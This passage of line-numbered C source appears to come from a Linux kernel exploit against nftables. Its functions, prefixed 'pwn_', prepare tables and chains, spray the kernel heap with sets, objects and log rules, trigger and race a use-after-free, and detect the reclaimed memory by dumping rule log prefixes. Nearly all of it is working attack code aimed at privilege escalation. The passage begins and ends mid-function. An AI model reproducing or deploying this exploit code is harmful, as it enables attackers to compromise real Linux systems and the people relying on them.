mnl_nlmsg_batch *batch, uint32_t seq, 499 | char *chain_name, char *set_name) 500 | { 501 | struct nftnl_rule *rule = nftnl_rule_alloc(); 502 | if (rule == NULL) { 503 | errx(1, "Cannot into nftnl_rule_alloc()"); 504 | } 505 | 506 | nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); 507 | nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); 508 | nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); 509 | 510 | struct nftnl_expr *lookup = nftnl_expr_alloc("lookup"); 511 | if (lookup == NULL) { 512 | errx(1, "Cannot into nftnl_expr_alloc()"); 513 | } 514 | 515 | nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); 516 | nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name); 517 | nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0); 518 | 519 | nftnl_rule_add_expr(rule, lookup); 520 | 521 | struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( 522 | mnl_nlmsg_batch_current(batch), 523 | NFT_MSG_NEWRULE, 524 | pwn_family, 525 | NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, 526 | seq 527 | ); 528 | nftnl_rule_nlmsg_build_payload(nlh, rule); 529 | mnl_nlmsg_batch_next(batch); 530 | 531 | nftnl_rule_free(rule); 532 | } 533 | 534 | 535 | static void pwn_create_log_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, 536 | char *chain_name, char *log_prefix) 537 | { 538 | char rule_userdata[0x2f] = {}; 539 | 540 | struct nftnl_rule *rule = nftnl_rule_alloc(); 541 | if (rule == NULL) { 542 | errx(1, "Cannot into nftnl_rule_alloc()"); 543 | } 544 | 545 | nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); 546 | nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); 547 | nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); 548 | nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, rule_userdata, sizeof(rule_userdata)); 549 | 550 | struct nftnl_expr *byteorder = nftnl_expr_alloc("byteorder"); 551 | if (byteorder == NULL) { 552 | errx(1, "Cannot into nftnl_expr_alloc()"); 553 | } 554 | 555 | nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_OP, NFT_BYTEORDER_NTOH); 556 | nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SIZE, 8); 557 | nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SREG, NFT_REG_1); 558 | nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_DREG, NFT_REG_2); 559 | nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_LEN, 1); 560 | 561 | nftnl_rule_add_expr(rule, byteorder); 562 | 563 | struct nftnl_expr *log = nftnl_expr_alloc("log"); 564 | if (log == NULL) { 565 | errx(1, "Cannot into nftnl_expr_alloc()"); 566 | } 567 | 568 | nftnl_expr_set_u32(log, NFTNL_EXPR_LOG_LEVEL, NFT_LOGLEVEL_AUDIT); 569 | nftnl_expr_set_str(log, NFTNL_EXPR_LOG_PREFIX, log_prefix); 570 | 571 | nftnl_rule_add_expr(rule, log); 572 | 573 | struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( 574 | mnl_nlmsg_batch_current(batch), 575 | NFT_MSG_NEWRULE, 576 | pwn_family, 577 | NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, 578 | seq 579 | ); 580 | nftnl_rule_nlmsg_build_payload(nlh, rule); 581 | mnl_nlmsg_batch_next(batch); 582 | 583 | nftnl_rule_free(rule); 584 | } 585 | 586 | 587 | static void pwn_create_dynset_set(struct mnl_nlmsg_batch *batch, uint32_t seq, 588 | char *set_name, uint32_t set_id) 589 | { 590 | struct nftnl_set *set = nftnl_set_alloc(); 591 | if (set == NULL) { 592 | errx(1, "Cannot into nftnl_set_alloc()"); 593 | } 594 | 595 | nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); 596 | nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); 597 | nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); 598 | nftnl_set_set_u32(set, NFTNL_SET_ID, set_id); 599 | nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_EVAL | NFT_SET_EXPR); 600 | nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 0x34); 601 | 602 | struct nftnl_expr *counter = nftnl_expr_alloc("counter"); 603 | if (counter == NULL) { 604 | errx(1, "Cannot into nftnl_expr_alloc()"); 605 | } 606 | 607 | nftnl_set_add_expr(set, counter); 608 | 609 | struct nftnl_expr *quota = nftnl_expr_alloc("quota"); 610 | if (quota == NULL) { 611 | errx(1, "Cannot into nftnl_expr_alloc()"); 612 | } 613 | 614 | nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff); 615 | 616 | nftnl_set_add_expr(set, quota); 617 | 618 | struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( 619 | mnl_nlmsg_batch_current(batch), 620 | NFT_MSG_NEWSET, 621 | pwn_family, 622 | NLM_F_CREATE | NLM_F_ACK, 623 | seq 624 | ); 625 | nftnl_set_nlmsg_build_payload(nlh, set); 626 | mnl_nlmsg_batch_next(batch); 627 | 628 | nftnl_set_free(set); 629 | } 630 | 631 | 632 | static void pwn_create_dynset_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, 633 | char *chain_name) 634 | { 635 | struct nftnl_chain *chain = nftnl_chain_alloc(); 636 | if (chain == NULL) { 637 | errx(1, "Cannot into nftnl_chain_alloc()"); 638 | } 639 | 640 | nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family); 641 | nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); 642 | nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); 643 | nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter"); 644 | nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); 645 | nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0); 646 | 647 | struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( 648 | mnl_nlmsg_batch_current(batch), 649 | NFT_MSG_NEWCHAIN, 650 | pwn_family, 651 | NLM_F_CREATE | NLM_F_ACK, 652 | seq 653 | ); 654 | nftnl_chain_nlmsg_build_payload(nlh, chain); 655 | mnl_nlmsg_batch_next(batch); 656 | 657 | nftnl_chain_free(chain); 658 | } 659 | 660 | 661 | static void pwn_create_dynset_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, 662 | char *chain_name, char *dynset_set_name) 663 | { 664 | struct nftnl_rule *rule = nftnl_rule_alloc(); 665 | if (rule == NULL) { 666 | errx(1, "Cannot into nftnl_rule_alloc()"); 667 | } 668 | 669 | nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); 670 | nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); 671 | nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); 672 | 673 | struct nftnl_expr *payload = nftnl_expr_alloc("payload"); 674 | if (payload == NULL) { 675 | errx(1, "Cannot into nftnl_expr_alloc()"); 676 | } 677 | 678 | nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_INNER_HEADER); 679 | nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_OFFSET, 0); 680 | nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_LEN, 1); 681 | nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1); 682 | 683 | nftnl_rule_add_expr(rule, payload); 684 | 685 | struct nftnl_expr *dynset = nftnl_expr_alloc("dynset"); 686 | if (dynset == NULL) { 687 | errx(1, "Cannot into nftnl_expr_alloc()"); 688 | } 689 | 690 | nftnl_expr_set_str(dynset, NFTNL_EXPR_DYNSET_SET_NAME, dynset_set_name); 691 | nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_OP, htonl(NFT_DYNSET_OP_UPDATE)); 692 | nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_FLAGS, NFT_DYNSET_F_EXPR); 693 | nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_SREG_KEY, NFT_REG_1); 694 | 695 | struct nftnl_expr *counter = nftnl_expr_alloc("counter"); 696 | if (counter == NULL) { 697 | errx(1, "Cannot into nftnl_expr_alloc()"); 698 | } 699 | 700 | nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, counter); 701 | 702 | struct nftnl_expr *quota = nftnl_expr_alloc("quota"); 703 | if (quota == NULL) { 704 | errx(1, "Cannot into nftnl_expr_alloc()"); 705 | } 706 | 707 | nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff); 708 | 709 | nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, quota); 710 | 711 | nftnl_rule_add_expr(rule, dynset); 712 | 713 | struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( 714 | mnl_nlmsg_batch_current(batch), 715 | NFT_MSG_NEWRULE, 716 | pwn_family, 717 | NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, 718 | seq 719 | ); 720 | nftnl_rule_nlmsg_build_payload(nlh, rule); 721 | mnl_nlmsg_batch_next(batch); 722 | 723 | nftnl_rule_free(rule); 724 | } 725 | 726 | 727 | static void pwn_prepare(struct mnl_socket *nl) 728 | { 729 | uint32_t portid, seq, table_seq; 730 | int ret; 731 | 732 | printf("pwn_prepare\n"); 733 | 734 | seq = time(NULL); 735 | 736 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 737 | 738 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 739 | table_seq = seq; 740 | mnl_nlmsg_batch_next(batch); 741 | 742 | pwn_create_table(batch, seq++); 743 | 744 | pwn_create_chain(batch, seq++, pwn_lookup_chain); 745 | 746 | pwn_create_chain(batch, seq++, pwn_log_chain); 747 | /* load "nft_log.ko" now to reduce noise when racing */ 748 | pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix); 749 | 750 | pwn_create_dynset_set(batch, seq++, pwn_dynset_set, 0); 751 | pwn_create_dynset_chain(batch, seq++, pwn_dynset_chain); 752 | pwn_create_dynset_rule(batch, seq++, pwn_dynset_chain, pwn_dynset_set); 753 | 754 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 755 | mnl_nlmsg_batch_next(batch); 756 | 757 | portid = mnl_socket_get_portid(nl); 758 | 759 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 760 | mnl_nlmsg_batch_size(batch)) < 0) { 761 | err(1, "Cannot into mnl_socket_sendto()"); 762 | } 763 | 764 | mnl_nlmsg_batch_stop(batch); 765 | 766 | while (table_seq + 1 != seq) { 767 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 768 | if (ret <= 0) 769 | break; 770 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 771 | if (ret < 0) 772 | break; 773 | table_seq++; 774 | } 775 | if (ret == -1) { 776 | err(1, "Cannot into mnl_socket_recvfrom()"); 777 | } 778 | } 779 | 780 | 781 | static void pwn_uaf_spray(struct mnl_socket *nl) 782 | { 783 | uint32_t portid, seq, table_seq; 784 | int ret; 785 | 786 | printf("pwn_uaf_spray\n"); 787 | 788 | memset(uaf_set_key, 0, sizeof(uaf_set_key)); 789 | uaf_set_key[4] = 0x90; 790 | 791 | char set_userdata_buf[0x100] = {}; 792 | 793 | char *set_userdata; 794 | uint32_t set_userdata_size; 795 | if (cfg_race_set_slab == 0) { 796 | set_userdata = NULL; 797 | set_userdata_size = 0; 798 | } 799 | else { 800 | set_userdata = set_userdata_buf; 801 | set_userdata_size = sizeof(set_userdata_buf); 802 | } 803 | 804 | seq = time(NULL); 805 | 806 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 807 | 808 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 809 | table_seq = seq; 810 | mnl_nlmsg_batch_next(batch); 811 | 812 | for (int spray = - 0x50; spray < 10; ++ spray) { 813 | if (spray == 0) { 814 | pwn_create_set(batch, seq++, pwn_lookup_set, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size); 815 | } 816 | else { 817 | char *set_name; 818 | asprintf(&set_name, "spray_set_%04hx", spray); 819 | pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size); 820 | } 821 | } 822 | 823 | for (int spray = - 0x60; spray < 0x21; ++ spray) { 824 | if (spray == 0) { 825 | pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key)); 826 | } 827 | else { 828 | pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix); 829 | } 830 | } 831 | 832 | for (int spray = 1; spray < 10; ++ spray) { 833 | char *obj_name; 834 | asprintf(&obj_name, "spray_obj_%04hx", spray); 835 | char obj_userdata[uaf_chunk_size]; 836 | memset(obj_userdata, 'B', sizeof(obj_userdata)); 837 | append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); 838 | } 839 | 840 | pwn_create_lookup_rule(batch, seq++, pwn_lookup_chain, pwn_lookup_set); 841 | 842 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 843 | mnl_nlmsg_batch_next(batch); 844 | 845 | portid = mnl_socket_get_portid(nl); 846 | 847 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 848 | mnl_nlmsg_batch_size(batch)) < 0) { 849 | err(1, "Cannot into mnl_socket_sendto()"); 850 | } 851 | 852 | mnl_nlmsg_batch_stop(batch); 853 | 854 | while (table_seq + 1 != seq) { 855 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 856 | if (ret <= 0) 857 | break; 858 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 859 | if (ret < 0) 860 | break; 861 | table_seq++; 862 | } 863 | if (ret == -1) { 864 | err(1, "Cannot into mnl_socket_recvfrom()"); 865 | } 866 | } 867 | 868 | 869 | static void pwn_delay_spray_set(struct mnl_socket *nl) 870 | { 871 | uint32_t portid, seq, table_seq; 872 | int ret; 873 | 874 | printf("pwn_delay_spray_set\n"); 875 | 876 | seq = time(NULL); 877 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 878 | 879 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 880 | table_seq = seq; 881 | mnl_nlmsg_batch_next(batch); 882 | 883 | pwn_create_set(batch, seq++, "set_delay", 1, 0, sizeof(uint64_t), 0, NULL, 0); 884 | 885 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 886 | mnl_nlmsg_batch_next(batch); 887 | 888 | portid = mnl_socket_get_portid(nl); 889 | 890 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 891 | mnl_nlmsg_batch_size(batch)) < 0) { 892 | err(1, "Cannot into mnl_socket_sendto()"); 893 | } 894 | 895 | mnl_nlmsg_batch_stop(batch); 896 | 897 | while (table_seq + 1 != seq) { 898 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 899 | if (ret <= 0) 900 | break; 901 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 902 | if (ret < 0) 903 | break; 904 | table_seq++; 905 | } 906 | if (ret == -1) { 907 | err(1, "Cannot into mnl_socket_recvfrom()"); 908 | } 909 | } 910 | 911 | 912 | static void pwn_delay_spray_set_elem(struct mnl_socket *nl, uint64_t *set_elem_key, uint64_t set_elem_key_end) 913 | { 914 | uint32_t portid, seq, table_seq; 915 | int ret; 916 | 917 | seq = time(NULL); 918 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 919 | 920 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 921 | table_seq = seq; 922 | mnl_nlmsg_batch_next(batch); 923 | 924 | struct nftnl_set *set = nftnl_set_alloc(); 925 | if (set == NULL) { 926 | errx(1, "Cannot into nftnl_set_alloc()"); 927 | } 928 | 929 | nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); 930 | nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); 931 | nftnl_set_set_str(set, NFTNL_SET_NAME, "set_delay"); 932 | 933 | uint64_t count = set_elem_key_end - (*set_elem_key); 934 | if (count > 0x800) { 935 | count = 0x800; 936 | } 937 | while (count > 0) { 938 | -- count; 939 | 940 | struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); 941 | if (set_elem == NULL) { 942 | errx(1, "Cannot into nftnl_set_elem_alloc()"); 943 | } 944 | 945 | nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key)); 946 | 947 | nftnl_set_elem_add(set, set_elem); 948 | 949 | ++ (*set_elem_key); 950 | } 951 | 952 | struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 953 | mnl_nlmsg_batch_current(batch), 954 | NFT_MSG_NEWSETELEM, 955 | NFPROTO_INET, 956 | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, 957 | seq++ 958 | ); 959 | nftnl_set_elems_nlmsg_build_payload(nlh, set); 960 | mnl_nlmsg_batch_next(batch); 961 | 962 | nftnl_set_free(set); 963 | 964 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 965 | mnl_nlmsg_batch_next(batch); 966 | 967 | portid = mnl_socket_get_portid(nl); 968 | 969 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 970 | mnl_nlmsg_batch_size(batch)) < 0) { 971 | err(1, "Cannot into mnl_socket_sendto()"); 972 | } 973 | 974 | mnl_nlmsg_batch_stop(batch); 975 | 976 | while (table_seq + 1 != seq) { 977 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 978 | if (ret <= 0) 979 | break; 980 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 981 | if (ret < 0) 982 | break; 983 | table_seq++; 984 | } 985 | if (ret == -1) { 986 | err(1, "Cannot into mnl_socket_recvfrom()"); 987 | } 988 | } 989 | 990 | 991 | static void pwn_uaf_trigger(struct mnl_socket *nl) 992 | { 993 | struct mnl_nlmsg_batch *batch; 994 | uint32_t portid, seq, table_seq; 995 | int ret; 996 | 997 | printf("pwn_uaf_trigger\n"); 998 | 999 | seq = time(NULL); 1000 | batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 1001 | 1002 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 1003 | table_seq = seq; 1004 | mnl_nlmsg_batch_next(batch); 1005 | 1006 | append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_lookup_chain, -1); 1007 | 1008 | for (int spray = 2; spray < 10; spray += 2) { 1009 | char *set_name; 1010 | asprintf(&set_name, "spray_set_%04hx", spray); 1011 | append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", set_name); 1012 | } 1013 | 1014 | append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", "set_delay"); 1015 | 1016 | struct nftnl_set *set = nftnl_set_alloc(); 1017 | if (set == NULL) { 1018 | errx(1, "Cannot into nftnl_set_alloc()"); 1019 | } 1020 | 1021 | nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); 1022 | nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); 1023 | nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_lookup_set); 1024 | 1025 | struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); 1026 | if (set_elem == NULL) { 1027 | errx(1, "Cannot into nftnl_set_elem_alloc()"); 1028 | } 1029 | 1030 | nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, uaf_set_key, sizeof(uaf_set_key)); 1031 | 1032 | nftnl_set_elem_add(set, set_elem); 1033 | 1034 | struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 1035 | mnl_nlmsg_batch_current(batch), 1036 | NFT_MSG_DELSETELEM, 1037 | NFPROTO_INET, 1038 | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, 1039 | seq++ 1040 | ); 1041 | nftnl_set_elems_nlmsg_build_payload(nlh, set); 1042 | mnl_nlmsg_batch_next(batch); 1043 | 1044 | nftnl_set_free(set); 1045 | 1046 | for (int spray = 2; spray < 10; spray += 2) { 1047 | char *obj_name; 1048 | asprintf(&obj_name, "spray_obj_%04hx", spray); 1049 | append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name); 1050 | } 1051 | 1052 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 1053 | mnl_nlmsg_batch_next(batch); 1054 | 1055 | portid = mnl_socket_get_portid(nl); 1056 | 1057 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 1058 | mnl_nlmsg_batch_size(batch)) < 0) { 1059 | err(1, "Cannot into mnl_socket_sendto()"); 1060 | } 1061 | 1062 | mnl_nlmsg_batch_stop(batch); 1063 | 1064 | while (table_seq + 1 != seq) { 1065 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1066 | if (ret <= 0) 1067 | break; 1068 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 1069 | if (ret < 0) 1070 | break; 1071 | table_seq++; 1072 | } 1073 | if (ret == -1) { 1074 | err(1, "Cannot into mnl_socket_recvfrom()"); 1075 | } 1076 | } 1077 | 1078 | 1079 | static void pwn_uaf_race(struct mnl_socket *nl) 1080 | { 1081 | uint32_t portid, seq, table_seq; 1082 | int ret; 1083 | 1084 | printf("pwn_uaf_race\n"); 1085 | 1086 | uint32_t set_desc_size; 1087 | if (cfg_race_set_slab == 0) { 1088 | set_desc_size = 0x0c; 1089 | } 1090 | else { 1091 | set_desc_size = 0x10; 1092 | } 1093 | 1094 | seq = time(NULL); 1095 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 1096 | 1097 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 1098 | table_seq = seq; 1099 | mnl_nlmsg_batch_next(batch); 1100 | 1101 | for (int spray = 0; spray != 0x20; ++ spray) { 1102 | char *set_name; 1103 | asprintf(&set_name, "race_set_%04hx", spray); 1104 | pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, NULL, 0); 1105 | } 1106 | 1107 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 1108 | mnl_nlmsg_batch_next(batch); 1109 | 1110 | portid = mnl_socket_get_portid(nl); 1111 | 1112 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 1113 | mnl_nlmsg_batch_size(batch)) < 0) { 1114 | err(1, "Cannot into mnl_socket_sendto()"); 1115 | } 1116 | 1117 | mnl_nlmsg_batch_stop(batch); 1118 | 1119 | while (table_seq + 1 != seq) { 1120 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1121 | if (ret <= 0) 1122 | break; 1123 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 1124 | if (ret < 0) 1125 | break; 1126 | table_seq++; 1127 | } 1128 | if (ret == -1) { 1129 | err(1, "Cannot into mnl_socket_recvfrom()"); 1130 | } 1131 | } 1132 | 1133 | 1134 | static void pwn_uaf_new_obj(struct mnl_socket *nl) 1135 | { 1136 | uint32_t portid, seq, table_seq; 1137 | int ret; 1138 | 1139 | printf("pwn_uaf_new_obj\n"); 1140 | 1141 | seq = time(NULL); 1142 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 1143 | 1144 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 1145 | table_seq = seq; 1146 | mnl_nlmsg_batch_next(batch); 1147 | 1148 | for (int spray = 0; spray < 0x40; ++ spray) { 1149 | char *obj_name; 1150 | asprintf(&obj_name, "uaf_obj_%04hx_", spray); 1151 | 1152 | char obj_userdata[uaf_chunk_size]; 1153 | memset(obj_userdata, 'C', sizeof(obj_userdata)); 1154 | memcpy(obj_userdata, obj_name, strlen(obj_name)); 1155 | 1156 | append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); 1157 | } 1158 | 1159 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 1160 | mnl_nlmsg_batch_next(batch); 1161 | 1162 | portid = mnl_socket_get_portid(nl); 1163 | 1164 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 1165 | mnl_nlmsg_batch_size(batch)) < 0) { 1166 | err(1, "Cannot into mnl_socket_sendto()"); 1167 | } 1168 | 1169 | mnl_nlmsg_batch_stop(batch); 1170 | 1171 | while (table_seq + 1 != seq) { 1172 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1173 | if (ret <= 0) 1174 | break; 1175 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 1176 | if (ret < 0) 1177 | break; 1178 | table_seq++; 1179 | } 1180 | if (ret == -1) { 1181 | err(1, "Cannot into mnl_socket_recvfrom()"); 1182 | } 1183 | } 1184 | 1185 | 1186 | int uaf_obj_serial = -1; 1187 | uint64_t uaf_log_handle = -1; 1188 | 1189 | 1190 | static int pwn_uaf_dump_rule_cb(const struct nlmsghdr *nlh, void *data) 1191 | { 1192 | struct nftnl_rule *rule = nftnl_rule_alloc(); 1193 | if (rule == NULL) { 1194 | errx(1, "Cannot into nftnl_rule_alloc()"); 1195 | } 1196 | 1197 | if (nftnl_rule_nlmsg_parse(nlh, rule) < 0) { 1198 | errx(1, "Cannot into nftnl_rule_nlmsg_parse()"); 1199 | } 1200 | 1201 | struct nftnl_expr_iter *expr_iter = nftnl_expr_iter_create(rule); 1202 | while (1) { 1203 | struct nftnl_expr *expr = nftnl_expr_iter_next(expr_iter); 1204 | if (expr == NULL) 1205 | break; 1206 | const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME); 1207 | if (strcmp(name, "log") == 0) { 1208 | const char *prefix = nftnl_expr_get_str(expr, NFTNL_EXPR_LOG_PREFIX); 1209 | if (strcmp(prefix, log_prefix) != 0) { 1210 | int serial = -1; 1211 | int res = sscanf(prefix, "uaf_obj_%x_", &serial); 1212 | if (res == 1) { 1213 | uaf_obj_serial = serial; 1214 | } 1215 | 1216 | uaf_log_handle = nftnl_rule_get_u64(rule, NFTNL_RULE_HANDLE); 1217 | 1218 | printf("\nDetected UAF with uaf_obj_serial=%x reusing uaf_log_handle=%lx:", uaf_obj_serial, uaf_log_handle); 1219 | hex_dump(prefix, strlen(prefix)); 1220 | } 1221 | } 1222 | } 1223 | nftnl_expr_iter_destroy(expr_iter); 1224 | 1225 | nftnl_rule_free(rule); 1226 | 1227 | return MNL_CB_OK; 1228 | } 1229 | 1230 | 1231 | static void pwn_uaf_dump_rule(struct mnl_socket *nl) 1232 | { 1233 | uint32_t portid, seq; 1234 | int ret; 1235 | 1236 | printf("pwn_uaf_dump_rule\n"); 1237 | 1238 | seq = time(NULL); 1239 | 1240 | struct nftnl_rule *rule = nftnl_rule_alloc(); 1241 | if (rule == NULL) { 1242 | errx(1, "Cannot into nftnl_rule_alloc()"); 1243 | } 1244 | 1245 | nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "testfirewall"); 1246 | 1247 | struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( 1248 | mnl_batch_buffer, 1249 | NFT_MSG_GETRULE, 1250 | NFPROTO_INET, 1251 | NLM_F_DUMP | NLM_F_ACK, 1252 | seq 1253 | ); 1254 | nftnl_rule_nlmsg_build_payload(nlh, rule); 1255 | nftnl_rule_free(rule); 1256 | 1257 | portid = mnl_socket_get_portid(nl); 1258 | 1259 | if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { 1260 | err(1, "Cannot into mnl_socket_sendto()"); 1261 | } 1262 | 1263 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1264 | while (ret > 0) { 1265 | ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_rule_cb, NULL); 1266 | if (ret <= 0) 1267 | break; 1268 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1269 | } 1270 | if (ret == -1) { 1271 | err(1, "Cannot into mnl_socket_recvfrom()"); 1272 | } 1273 | } 1274 | 1275 | 1276 | static void pwn_uaf_del_rule(struct mnl_socket *nl) 1277 | { 1278 | struct mnl_nlmsg_batch *batch; 1279 | uint32_t portid, seq, table_seq; 1280 | int ret; 1281 | 1282 | printf("pwn_uaf_del_rule\n"); 1283 | 1284 | seq = time(NULL); 1285 | batch = 